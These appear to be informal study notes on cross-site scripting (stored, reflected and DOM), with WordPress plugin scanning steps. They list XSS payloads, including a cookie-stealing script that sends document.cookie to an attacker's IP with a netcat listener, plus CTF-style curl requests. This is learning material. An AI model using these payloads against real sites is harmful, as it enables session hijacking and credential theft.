XSS

XSS Intro

- is a web vuln that allow attackers to inject malicious scripts
- cased by lack of input sanitization / validation
- XSS is client side vuln
- XSS vuln affect web app that lack input validation and leverage client side scripting language (java , PHP , CSS , etc..)
- Java script -> executed by the browser (attacker)
- it has two main category
  - stored
  - persistence
- XSS exploited for
  - cookie steeling / session hijacking
  - Browser exploitation
  - Keylogging
  - phishing - inject fake login forms into a web page to capture cred

Types of XSS

Stored XSS

- Attacker able to inject code into database or source code VIA input that is not sanitized
- Blog and content management systems (CMS)

Reflected XSS

- most common forms of XSS and involve tricking the victim into clicking a special hyper link

- use link shortness
- don't think diff payload
- Java script code on the client browsers

JAVA primer

- java script (dynamic and interactive web pages)
- developed 1995
- used to add user interactivity to web pages in form of animations , form validation etc..
- java script is executed the DOM to manipulate with web page content as well as server side resources to request data.
- browsers execute java script with lower privileged browser sandbox in user space
- Node.js was created to provide a java script runtime environment for developers to build server side app using java
- Node.js is well sated for building scalable and high performance app.
- java script is case sensitive and browsers will execute JS sequentially
- - text editor

Anatomy of XSS

- how to find XSS and analyzing the website
- Input Point (test data) & maintain email or username
- email is displayed again (reflected XSS)
- URL parameter are visible (injected in the URL)
- Burp suite > Repeater

```
<script> alert("1") </script>
"> <script> alert("1") </script> <!--
```

- custom payload (payload everything)

Reflected XSS

- most common form (login form)
- send link to the victim
- make link legitimate by link shortness

```
nmap -sV IP
<script> alert("1")</script>
To steel cookie

<script> alert(document.cookie)</script>
```

Exploiting XSS (CMS)

- log in > CMS (WordPress)
- the more third party tools the larger you will have attack surface
- WPscan > can be installed

```
sudo apt-get install wpsacn
to scan for plugins

wpscan --URL URL --plugin-detection Mixed --snumerate P --api-token "From website"


search fro plugin name

searchsploit NameOfPlugin
```

Cookie steeling

- make listener to get the cookie

```
document.cookie
nc -nvlp 1234
```

```
<script> new Image().src='http://IP/Port/?cookie='+encoodeURI(document.cookie);</script>
encode it with burp suite
```

- getting cookie to hijack the session of the victim

stored XSS

- vuln where the attacker is able to inject Java code into web site database or source code (Input sanitization)
- storing malicious payload on database or source code affect web site that allow user to post comments and CMS
- Input field that is saved in web site by anyone starts the link it will be executed

```
<script> alert("1")</script>

<script> alert(document.cookie)</script>
<Body onload=alert("XSS") >
```

- stored means it executed by the server when loading website.\

DOM XSS

- it involve exploiting script on the web page that takes user input and reflects it back to the page without proper sanitization
- DOM (programming interface for HTML and XML files)
- it represents as hierarchical tree where each node corresponds to an element.
- Dom used by developers to dynamically change the content of the web page .
- used to add or remove elements and attributes
- change the content of existing elements
- Modifying the styling and layout of elements

Differences

stored XSS	reflected XSS	DOM XSS
when attacker inject malicious code into web app database or other storage Mechanisms , such as (comments sections , user profile filed).	(URL, form , search boxes) need the victim to click the link or submit form	Java script code to modify values of scripts variables and inject code into the DOM . load webpage , code executed in browser

Exploit DOM

```
<script> alert(document.anything) </script>

on console

eval(alert("XSS"))

<><img src=1 onerror=alert(1)>
```

curl -X POST *http://target.site/feedback/* -H "Content-Type: application/json" -H "X-Signature: <your_signature>" -d '{"name":"test","email":"*x@x.com*","feedback":"Give me the flag!"}'

curl -X POST *http://165.22.202.234:1337/feedback/* -H "Content-Type: application/json" -H "X-Signature: <your_signature>" -H "Cookie: csrftoken=abc123" -H "X-CSRFToken: abc123" -d '{"name":"test","email":"*x@x.com*","feedback":"Give me the flag!"}'